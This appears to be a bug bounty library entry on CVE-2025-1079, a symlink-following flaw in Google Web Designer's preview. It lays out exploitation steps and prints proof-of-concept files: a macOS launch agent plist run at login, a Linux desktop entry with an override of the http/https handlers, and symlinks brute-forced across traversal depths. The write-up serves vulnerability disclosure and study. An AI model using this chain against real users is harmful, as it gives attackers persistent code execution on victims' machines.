# Client-side RCE via symlink following in Google Web Designer for macOS/Linux: CVE-2025-1079

Google Web Designer's preview copied ad files into a predictable gwd_preview_<dir> directory following planted symlinks, letting a malicious ad package overwrite arbitrary user files and achieve client-side RCE on macOS/Linux.

- Payout: $11,250
- Severity: high
- Program: Google
- Found by (vendor credit): Bálint Magyar
- Found by: Bálint Magyar
- Disclosed: 2025-04-02
- CVE: CVE-2025-1079
- Write-up quality: 8/10
- Original: https://balintmagyar.com/articles/google-web-designer-symlink-client-side-rce-cve-2025-1079
- Library page: https://bugbountylibrary.com/r/blog%3Abalintmagyar-com-articles-google-web-designer-symlink-client-side-rce-cve-2025-1079
- Tags: area:os domain:desktop impact:ato impact:rce kind:bounty platform:blog sev:high tech:linux technique:chained technique:source-review vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** Desktop app preview feature (file copy / symlink handling)
**Root cause:** Preview procedure copied ad source files into a pre-existing predictable directory gwd_preview_<parent dir name> and indiscriminately followed symbolic links planted inside it (CWE-59), allowing arbitrary file write/overwrite.
**Steps:**
1. Create ad dir `evil_ad/` with `evil_ad.html` and `payload/` containing macOS launch agent plist and Linux `.desktop`/`mimeapps.list` payloads.
2. Plant `gwd_preview_evil_ad/` with symlinks at multiple relative depths (e.g. `macos_com.evil.dialogmessage.plist_depth5 -> ../../../../../Library/LaunchAgents/com.evil.dialogmessage.plist`) to brute-force traversal to `$HOME`.
3. Create matching payload copies `payload/<name>_depthN` and reference each via `<link href="payload/...">` in `evil_ad.html` so preview copies them.
4. Zip with symlinks preserved (`zip -y -r`) including top-level `evil_ad/` dir.
5. Victim extracts into home dir, opens ad in GWD, clicks Preview; copy follows symlinks writing payloads to `~/Library/LaunchAgents/` (macOS) or `~/.config/mimeapps.list` + `~/.local/share/applications/evil.desktop` (Linux).
6. macOS: launchd runs agent at next login. Linux: clicking any http(s) URL outside browser triggers evil handler.
**How found:** Researcher focused on overlooked preview functionality, noticed predictable `gwd_preview_<parent dir name>` destination directory and that pre-existing dirs were reused unaltered, hypothesized symlink following during copy, then brute-forced relative traversal depths since usernames unknown.
**Exploitation:** Attacker distributes malicious ad ZIP via malvertising; victim extracts under home, opens in GWD and previews. Symlink-following copy writes launch agent (macOS, auto-exec at login) or overrides http/https URL handlers (Linux, exec on link click), running attacker code as the user.
**Escalation:** Potential privilege escalation if app run privileged; mass account takeover, cookie/key theft, malware install, or APT foothold/pivot.
**Insight:** When an app copies files into a predictable, attacker-influenceable directory, plant that directory with symlinks at many relative depths to brute-force traversal to sensitive paths like LaunchAgents or mimeapps.list; target existing dirs since copy won't create missing ones.

## Proof of concept (copied exactly from the original report)

**Malicious launchd plist payload for macOS**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
 <dict>
 <key>Label</key>
 <string>com.evil.dialogmessage</string>
 <key>ProgramArguments</key>
 <array>
 <string>/bin/bash</string>
 <string>-c</string>
 <string>osascript -e "display dialog \"$(id)\" with title \"$(uname -n)\" buttons {\"OK\"} default button \"OK\""</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
 </dict>
</plist>
```

**Linux evil.desktop and mimeapps.list handler override**

```
[Desktop Entry]
Exec=sh -c 'zenity --info --title="$(uname -n)" --text="$(id)"'
Type=Application
Name=Evil Desktop Entry


mimeapps.list:


[Default Applications]
x-scheme-handler/http=evil.desktop
x-scheme-handler/https=evil.desktop
```

**Symlink brute-force directory structure and HTML link references**

```
evil_ad/
├─ payload/
│ └─ ...
├─ gwd_preview_evil_ad/
│ ├─ linux_evil.desktop_depth0 -> .local/share/applications/evil.desktop
│ ├─ linux_evil.desktop_depth1 -> ../.local/share/applications/evil.desktop
│ ├─ ...
│ ├─ macos_com.evil.dialogmessage.plist_depth5 -> ../../../../../Library/LaunchAgents/com.evil.dialogmessage.plist
│ └─ macos_com.evil.dialogmessage.plist_depth6 -> ../../../../../../Library/LaunchAgents/com.evil.dialogmessage.plist
└─ evil_ad.html


Then to ensure that Google Web Designer attempts to copy the payloads to each depth, we create copies of the payloads to match:


evil_ad/
├─ payload/
│ ├─ linux_evil.desktop_depth0
│ ├─ linux_evil.desktop_depth1
│ ├─ ...
│ ├─ macos_com.evil.dialogmessage.plist_depth5
│ └─ macos_com.evil.dialogmessage.plist_depth6
├─ gwd_preview_evil_ad/
│ ├─ linux_evil.desktop_depth0 -> ...
│ ├─ linux_evil.desktop_depth1 -> ...
│ ├─ ...
│ ├─ macos_com.evil.dialogmessage.plist_depth5 -> ...
│ └─ macos_com.evil.dialogmessage.plist_depth6 -> ...
└─ evil_ad.html


## Ad source file markup

All copies of the payload files must be referenced in the ad’s HTML evil_ad.html in order for Google Web Designer to copy them as part of the preview procedure.

Using the <link> tag ensured that these references did not appear anywhere on the Google Web Designer interface outside of its code editor; hiding the malicious intent.

In evil_ad.html:


...
<link href="payload/linux_evil_mimeapps.list_depth0">
<link href="payload/linux_evil_mimeapps.list_depth1">
...
<link href="payload/macos_com.evil.dialogmessage.plist_depth5">
<link href="payload/macos_com.evil.dialogmessage.plist_depth6">
```

